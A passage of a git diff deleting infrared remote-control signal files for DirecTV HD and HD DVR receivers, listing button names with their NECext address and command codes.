HD/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir deleted file mode 100644 index d054ec1f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREV._CH. -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: -_DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: REPLAY_10 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: SKIP_30 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: COLOR_RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: COLOR_YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: COLOR_GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: COLOR_BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: PROGRAMED_BUTTON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir deleted file mode 100644 index a41bbe3c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir deleted file mode 100644 index eb4383b68..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0F 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: -_DASH -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 20 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 21 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 22 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 23 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 35 00 00 00 -# -name: REPLAY_10 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 36 00 00 00 -# -name: SKIP_30 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 37 00 00 00 -# -name: COLOR_RED -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 41 00 00 00 -# -name: COLOR_YELLOW -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 42 00 00 00 -# -name: COLOR_GREEN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 43 00 00 00 -# -name: COLOR_BLUE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 44 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir deleted file mode 100644 index 61ddd8c95..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir +++ /dev/null @@ -1,506 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREVIOUS_CHAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: -_DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: (-) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: DASH_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: SCAN_REVERSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: PREVIOUS/REPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: NEXT/ADVANCE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: SKIP_>I -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: RED_DOT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: COLOR_RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: YELLOW_DOT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: COLOR_YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: GREEN_DOT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: COLOR_GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: BLUE_DOT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: COLOR_BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir deleted file mode 100644 index f8f411d2f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: -/DASH -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 32 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 36 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 44 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir deleted file mode 100644 index b2c825d2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: PREV_CHAN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 37 00 00 00 -# -name: SKIP_30_SEC -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 38 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3A 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3C 00 00 00 -# -name: SKIP_FORWARD -type: parsed 